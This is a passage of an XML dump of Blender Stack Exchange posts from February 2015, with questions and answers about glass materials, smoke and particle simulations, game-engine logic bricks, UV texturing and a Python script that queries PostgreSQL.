  <row Id="24547" PostTypeId="2" ParentId="24546" CreationDate="2015-02-10T16:34:00.307" Score="6" Body="&lt;p&gt;Your material setup is wrong. On first glance you are feeding shader output to glass node color input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leave only 1 glass node connected to Shader output, delete the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then need more reflections you can mix in a Glossy shader with Fresnel node.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-10T17:58:18.863" LastActivityDate="2015-02-10T17:58:18.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24549" PostTypeId="1" AcceptedAnswerId="24553" CreationDate="2015-02-10T17:01:41.813" Score="3" ViewCount="957" Body="&lt;p&gt;with the delay actuator I set up a &quot;timer&quot; that adds +1 every 60ticks to a &quot;timer&quot; property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want it to count backwards after it reaches 4 and, when it becomes 0, again goes up to 4 and so on and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody an idea how to achieve this with logic bricks? Or is python neede?&#xA;Thanks for every suggestions :)&lt;/p&gt;&#xA;" OwnerUserId="9529" LastActivityDate="2015-02-10T18:10:23.163" Title="BGE, logic bricks, setting up a timer (that reverses at some point)" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24550" PostTypeId="2" ParentId="24543" CreationDate="2015-02-10T17:11:28.570" Score="5" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLgGK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture only appeared after I added another Image Texture node (which is not realated to anything). Muting this node if enough to make the texture disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topic is also discussed on an older &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?270332-OSL-Goodness/page11&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA-Thread&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Input/UV-Map node to get the UV-coordinates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wiring the UV makes them accessible for getattributes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OVBg4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-10T17:54:37.060" LastActivityDate="2015-02-10T17:54:37.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24551" PostTypeId="2" ParentId="24546" CreationDate="2015-02-10T17:13:54.037" Score="5" Body="&lt;p&gt;There are several basic issues with your scene, the first one I want to address is your Prism. It is not detailed enough, so there is not a large enough number of angles to bounce the light. Add a &lt;em&gt;Bevel&lt;/em&gt; modifier, and a &lt;em&gt;Subdivision&lt;/em&gt; modifier to your mesh, and then fix your material to be just a &lt;em&gt;Glass BSDF&lt;/em&gt; node with an IOR of 1.44-1.90 (depends on personal preference, this is the realistic range of glass). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The prism is the most important part of the scene&lt;/strong&gt;, so take your time. This should be something like what you end up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJ7sh.jpg&quot; alt=&quot;Prism Wire&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now model the light beams. I have the white one coming in, and curving slightly out the other side (artistic license, not technically correct). I also have them overlapping, so that in the material I can fade from one beam into the next. Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiStO.jpg&quot; alt=&quot;Prism beam&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now work on the materials, I set mine up like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;White&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8iYpj.jpg&quot; alt=&quot;White beam nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spectrum&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WI66a.jpg&quot; alt=&quot;Spectrum Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that you may need to change mapping values for both materials. Also, I unwrapped the Spectrum mesh and am using the UV map to map the &lt;em&gt;Color Ramp&lt;/em&gt; just to give some more control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1YPDp.jpg&quot; alt=&quot;Prism Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that the basic scene is setup, it is just a case of tweaking lighting and the prism until you have the desired result.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-10T19:45:53.807" LastActivityDate="2015-02-10T19:45:53.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24552" PostTypeId="2" ParentId="24116" CreationDate="2015-02-10T17:23:36.500" Score="13" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Their position is not taken into account; they are always located outside of the scene, infinitely far away, and will not result in any distance falloff. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which leads me to believe that it would not be possible, as there would be no way to map the texture to a source set up like that. The exact reasons you want to use it makes it an impossibility I am afraid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can project an image from a plane with a simple Transparent BSDF setup between any light and your subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZzHtq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pHXyg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it also works with volumetrics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VrvyF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="9482" LastEditDate="2015-02-13T11:40:07.433" LastActivityDate="2015-02-13T11:40:07.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24553" PostTypeId="2" ParentId="24549" CreationDate="2015-02-10T18:10:23.163" Score="6" Body="&lt;p&gt;Logic bricks are best explained with an image :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nd3WR.png&quot; alt=&quot;logic brick for ZigZag timer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the basic idea is that instead of adding 1 to your “timer” you add an “increment” property.&#xA;You then switch this &quot;increment&quot; to -1 when it reaches 4 and back to 1 (effectively +1) again when the “timer” value is back to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to switch the &quot;increment&quot; property from +1 to -1 I do some fancy math (inverting the value and doubling it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simpler version, you could also do it with 2 separate logic flows like here:&lt;img src=&quot;https://i.stack.imgur.com/dMv1M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11495" LastActivityDate="2015-02-10T18:10:23.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24554" PostTypeId="1" AcceptedAnswerId="24579" CreationDate="2015-02-10T18:10:52.947" Score="2" ViewCount="247" Body="&lt;p&gt;I am new to programming.&#xA;Since Blender, I communicate with the PostgeSQL database. The purpose of the code is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 / Browse the table &quot;works&quot; and find new date_works for each object.&#xA;2 / affect the material to each object based on the date.&#xA;3 / if an object is in the group 'work', we find the parent.&#xA;If date_works of the child is higher than that of the mother, we hide the child object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the point 3, which does not. What do you think of my code? What is wrong?&#xA;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Find the most recent work in the table &quot;works&quot;       &#xA;    for  works ,recentW in db.prepare(&quot;SELECT mesh_ works,max(date_ works) FROM  works GROUP BY mesh_ works&quot;):    &#xA;       year=str(recentW.year)&#xA;       mat_M= bpy.data.materials.get(year)&#xA;       mesh=bpy.data.meshes[&quot;%s&quot;% works]&#xA;       for obj in bpy.data.objects:&#xA;        if (obj.data==mesh):&#xA;                 c=obj                      &#xA;       # materials allocation in accordance with the date found. (example: finding dates 2015 =&amp;gt; material it affects the &quot;2015&quot;)&#xA;       c.active_material=mat_M&#xA;       # ensure that these objects are visible&#xA;       c.hide=False          &#xA;    # hide child objects whose work dates predate those of parents&#xA;       #if it is a child, &#xA;       if c.name in bpy.data.groups[&quot;Child&quot;].objects:&#xA;           #find parent&#xA;           parent=c.parent&#xA;           #search in the database of the most recent date of the parent&#xA;           recentParent=db.prepare(&quot;SELECT MAX(date_ works) FROM  works WHERE id_ works='%s'&quot;%parent)&#xA;           #if the date of the parent is more recent than that of the child while the child is masked.&#xA;           for recent in recentParent:                      &#xA;                     if(recent[0]!=None):&#xA;                       yearParent=str(recent[0].year)                              &#xA;                       if(yearParent&amp;gt;=year):&#xA;                         c.hide=True&#xA;    return {'FINISHED'} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9525" LastEditorUserId="9525" LastEditDate="2015-02-10T19:15:21.610" LastActivityDate="2015-02-11T07:17:48.267" Title="Blender and requests PostgreSql" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24557" PostTypeId="2" ParentId="24284" CreationDate="2015-02-10T19:24:05.373" Score="21" Body="&lt;p&gt;here is my reference animation:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cfghd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did a few tests and came back to particles.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9Sxy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Just changed velocity from object to 0.4 in particles settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qc9Bi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplified and optimized things.&#xA;Here is the domain setting. Quite simple, not that hires with only 100 divisions and no smoke hires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Khf2.jpg&quot; alt=&quot;domain setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain material is simple as well. Basic black volume absorbtion but smoke density modified with a color ramp.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N11CG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bird has 1 particle set. As it's a simple model with mirror, armature and subsurf, checked the &quot;use modifier stack&quot; option. Velocity from object looks better at 0.4 (see above render). Important settings are highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wPuDQ.jpg&quot; alt=&quot;particles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The children have something special. Their number is animated from 0 to 5 and 0 again in 3 frames (very short) when i wanted the smoke to be more dense (when wings change direction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bird smoke settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5B3L.jpg&quot; alt=&quot;bird smoke emitter&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compositing (vignette not included)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KqLCz.jpg&quot; alt=&quot;compositing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some really cool things with this setup. The &quot;ink effect&quot; (compositing) can be nice with a few render samples (used only 15). There's no light, no shadow (uncheck the option), only black smoke (added white background in compositing) renders in 5-10s for 25% HD size. The smoke sim is light weight too, 182Mo for 100 baked frames, and bakes fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About initial velocity : only working with emitter's surface and particles, not volume. Particles are better using no normal velocity but low object's velocity. Using children (simple, interpolated is for hair only) you need to check &quot;rotation&quot; and change the initial rotation to &quot;normal&quot; to get children poping at the surface of your faces.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-13T23:41:08.917" LastActivityDate="2015-02-13T23:41:08.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24558" PostTypeId="1" CreationDate="2015-02-10T19:26:27.880" Score="1" ViewCount="439" Body="&lt;p&gt;I have put together a basic human rig. I'm still new to this and this is one of the first, however it is my first attempt at making hair. I decided to try doing it with partcles after watching a video of how nicely it seemed to work with its own physics and all. It all seemed to work beautifully until I tried animating the rig with a completely basic head turn to see how the hair reacted. Instead of bouncing a bit, or even bouncing a bit much it did something a bit more extreme that I don't know how to explain... and so... I provided pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LIEoU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My files for particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q4qhS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3NL6Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens when he is in motion. Still shots render nicely as such&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0BOH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10869" LastEditorDisplayName="user12855" LastEditDate="2015-05-30T07:16:03.740" LastActivityDate="2015-05-30T07:16:03.740" Title="Particle Effect Hair - Grows randomly during animation" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24559" PostTypeId="1" AcceptedAnswerId="24562" CreationDate="2015-02-10T19:27:42.510" Score="2" ViewCount="189" Body="&lt;p&gt;I'm just scaling (pictured) a single plane, with the &lt;strong&gt;left-side edge&lt;/strong&gt; but the scale of the texture doesn't scale properly . . &lt;strong&gt;why does this happen?&lt;/strong&gt; This is just a single plane with a simple plane UV (smart UV)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/14GY2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2015-02-10T19:53:54.967" LastActivityDate="2015-02-10T20:19:20.470" Title="When I edit a plane with an image texture it distorts oddly" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24562" PostTypeId="2" ParentId="24559" CreationDate="2015-02-10T20:19:20.470" Score="3" Body="&lt;p&gt;&lt;strong&gt;There is a smiple fix:&lt;/strong&gt; add a sub surf modifier and set it to simple. Be sure to increase to subdivisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dooi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that because a face is made of 2 triangles, the uvs are stretched across the triangles and not the mesh.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-10T20:19:20.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24563" PostTypeId="1" AcceptedAnswerId="24564" CreationDate="2015-02-10T20:58:25.700" Score="5" ViewCount="960" Body="&lt;p&gt;In this &lt;a href=&quot;http://youtu.be/WbWUZkxi9vQ?t=5m20s&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt;, the person adds a &quot;sticky&quot; texture to an object.  The effect is that the object takes on the appearance of the background so that he can use it to &quot;hide&quot; an object behind it.  My issue is that Blender 2.7 has removed &quot;Add Sticky&quot;, and Sticky mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find if I use the same image texture and &quot;Window&quot; mapping coordinates, this has a similar effect, but if the actual background is a composite (for example, I have an image that has a transform and some other nodes on it) it doesn't take those into account. Anyway to incorporate those? Or to use the actual background? –&lt;/p&gt;&#xA;" OwnerUserId="10933" LastEditorUserId="12" LastEditDate="2015-03-30T21:14:16.200" LastActivityDate="2015-03-30T21:14:16.200" Title="&quot;Add Sticky&quot; texture option missing in Blender 2.7" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24564" PostTypeId="2" ParentId="24563" CreationDate="2015-02-10T21:11:22.283" Score="6" Body="&lt;p&gt;Sticky coordinates &lt;a href=&quot;http://www.mail-archive.com/bf-committers@blender.org/msg12511.html&quot; rel=&quot;nofollow&quot;&gt;have been removed&lt;/a&gt;, the main idea is that you should substitute the ‘sticky’ function with ‘UV project from view’ instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want use the uv project,  an alternative is the &lt;a href=&quot;https://github.com/stuffmatic/blam#what-is-this&quot; rel=&quot;nofollow&quot;&gt;BLAM addon&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="12" LastEditDate="2015-03-30T21:11:36.510" LastActivityDate="2015-03-30T21:11:36.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24566" PostTypeId="1" CreationDate="2015-02-10T22:08:48.380" Score="8" ViewCount="1107" Body="&lt;p&gt;I have a scene in which I have two Hair type particle systems. I am having an issue with them intersecting each other, even with different seed values. Is there a way to change this behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, would using the Emitter particle type make any difference? Also, can this be done with a script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QfVU0.jpg&quot; alt=&quot;Particle Intersect Issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More screenshots available as requested.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-10T23:32:43.177" LastActivityDate="2015-02-11T01:19:34.630" Title="Is it possible to make hair particles avoid each other?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24567" PostTypeId="1" CreationDate="2015-02-10T23:15:34.997" Score="1" ViewCount="377" Body="&lt;p&gt;When changing the settings of a particle texture (controlling density and size), the particle display in the viewport updates, but it does so in some weird ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, if I click on either of the color markers in the color ramp (if ramp is turned on), the particle distribution will change, even if I don't move either of the markers. Furthermore, the distribution is typically the same for a given marker. If I click from one to the other, the particles basically toggle between two distributions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, if I drag the size slider in the influence section, the particles update, but they &quot;flicker&quot; between a fairly sparse distribution and a much more dense distribution as it updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's causing this? Is it a bug, or am I doing something weird? I'll try to post a video soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select each ramp marker (without changing them)&lt;/li&gt;&#xA;&lt;li&gt;Click on black marker several times&lt;/li&gt;&#xA;&lt;li&gt;Drag the size slider&lt;/li&gt;&#xA;&lt;li&gt;Key 0.5 into the size field several times in a row&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Changing almost any other setting on this panel will do the same thing. There are also several things OUTSIDE the texture panel that will do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vi43l.gif&quot; alt=&quot;Particles change distribution when they shouldn&amp;#39;t&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2015-02-11T01:32:22.747" LastActivityDate="2015-02-11T01:32:22.747" Title="Particles update strangely" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-02-11T02:42:26.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="24568" PostTypeId="1" CreationDate="2015-02-10T23:41:54.957" Score="5" ViewCount="847" Body="&lt;p&gt;I'm using a particle system as a smoke emitter (see here &lt;a href=&quot;https://blender.stackexchange.com/questions/24284/creating-inky-looking-characters-in-blender/24557#24557&quot;&gt;Creating Inky-looking characters in Blender&lt;/a&gt; ). Everything is fine but with simple particles, i don't have enough control on the movement of the smoke, so i need children. As simple children are really too ugly, i need interpolated children. But as soon as I activate them, all particles disapear from viewport and the simulation seems to use only parents (same as children deactivated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no children:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KLfSS.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Simple children:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1H43F.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Interpolated children:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/REc6K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is : is this a bug? can you use interpolated children in smoke sim?&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-10T23:52:08.903" Title="Smoke and particle system with interpolated children" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-10T13:43:24.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="24569" PostTypeId="2" ParentId="24566" CreationDate="2015-02-11T00:00:38.367" Score="2" Body="&lt;p&gt;as you need hairs, using emitter type is not a good idea. try to use 2 different particle systems : 1 for the grass, another for the flowers. Use a vertex group at least for one of them to control where your particles will pop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also use translucency in your materials (petals and grass) to make it less visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or edit the flower particle system (less flowers than grass), uncheck the keep root option to be allowed to move the entire hair.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pqrVc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;move the hairs with comb brush and place them where you need, or cut where you don't want them, add where you want some&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUS4v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-11T01:19:34.630" LastActivityDate="2015-02-11T01:19:34.630" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24570" PostTypeId="1" CreationDate="2015-02-11T02:33:43.223" Score="9" ViewCount="941" Body="&lt;p&gt;I would like to produce &lt;a href=&quot;https://processing.org/&quot;&gt;processing&lt;/a&gt; style effects in blender or other traditional applications, either 2d or 3d. I have been looking for ways to connect the language to blender through blender's internal python interpreter. So far I have found nothing. I even looked for ways to call jython libraries within blender, as processing.py is a jython wrapper around the java original, and the closest I have found was some information on blender java. I would much rather use an up to date more feature rich version of blender than a java port. Does any one know of a way to call jython from with in Cpython that would be compatible with blender or a java or javascript to python method that would work? Even the location of a pure python script that works like processing would be acceptable. &lt;/p&gt;&#xA;" OwnerUserId="11525" LastEditorUserId="2217" LastEditDate="2015-02-11T03:18:05.977" LastActivityDate="2015-02-12T16:06:15.453" Title="Is there any way to connect blender to processing?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24571" PostTypeId="2" ParentId="24284" CreationDate="2015-02-11T02:57:54.290" Score="67" Body="&lt;p&gt;If I understand correctly, your question is essentially asking how to emit smoke from a rigged and animated character.&lt;/p&gt;&#xA;&lt;p&gt;This should work just fine, as long as the &lt;em&gt;smoke&lt;/em&gt; modifier is &lt;strong&gt;after&lt;/strong&gt; the armature modifier on the character mesh:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wKL7H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example (click for a smoother video):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DeepShallowBirdofparadise&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/DeepShallowBirdofparadise.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I found using the mesh directly as the smoke emitter provided a smoother, less lumpy result without requiring huge numbers of particles.&lt;/p&gt;&#xA;&lt;h1&gt;Smoke settings&lt;/h1&gt;&#xA;&lt;p&gt;&lt;sub&gt;All these settings are just stylizations on my part, they are not supposed to look like real ink in water :P&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;I used a fairly high resolution domain with only 1 &lt;em&gt;high resolution&lt;/em&gt; subdivision, dissolve (though perhaps I made it dissolve a little on the fast side), and low vorticity:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9tni.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the emitter I used subframes and enabled &lt;em&gt;initial velocity&lt;/em&gt; so that the smoke inherits the velocity of the part of the mesh it's emitted from (in the example render the smoke is actually &amp;quot;flung&amp;quot; by the mesh twice as fast as it technically should be, but I rather liked the effect). I also used a negative &lt;em&gt;temperature difference&lt;/em&gt; so that the smoke drifts down over time, however I think I might have over done it a bit (the smoke falls a little fast for my taste).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FomNd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-11T06:25:32.993" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24572" PostTypeId="1" CreationDate="2015-02-11T03:17:09.280" Score="2" ViewCount="871" Body="&lt;p&gt;I tried to copy a mesh, and when I changed its texture so did the source mesh.&lt;br&gt;&#xA;How come when I create a mesh duplicate and change the texture, the original mesh's texture changes as well?&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="2217" LastEditDate="2015-02-11T04:33:41.757" LastActivityDate="2015-02-11T05:49:55.513" Title="Changing duplicated object's texture effects the first object's" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24573" PostTypeId="1" AcceptedAnswerId="24587" CreationDate="2015-02-11T03:23:52.967" Score="0" ViewCount="1628" Body="&lt;p&gt;I need help. I have a weapon I've created comprised of 5 parts. One of the parts has a lattice with 2 shapekeys. I haven't yet hit apply on the lattice modifier, but it still affects my object. I have used the two shapekeys to simulate a movement, and it looks pretty good. The thing is I move them in the shapekey editor and not in the action editor. The Action Editor wont save any keyframes when I mess with the shapekeys for some reason. Well I sent my blend to Unity and the object with the lattice does not get animated. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="3109" LastEditDate="2015-02-11T22:43:31.617" LastActivityDate="2015-02-11T22:43:31.617" Title="Can I implement the lattice deformation to an animation?" Tags="&lt;animation&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-02-11T19:15:24.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="24575" PostTypeId="1" CreationDate="2015-02-11T03:56:47.870" Score="0" ViewCount="55" Body="&lt;p&gt;I want my object to have 4 boxes uniformly laid out, how do I make some splits or markers to tell where my boxes should go on the plane?&lt;/p&gt;&#xA;" OwnerUserId="11502" LastActivityDate="2015-02-11T05:59:56.853" Title="Is there any marker I can set to see halfway of a mesh? I want to place another object right over" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-11T12:38:03.290" ContentLicense="CC BY-SA 3.0" />
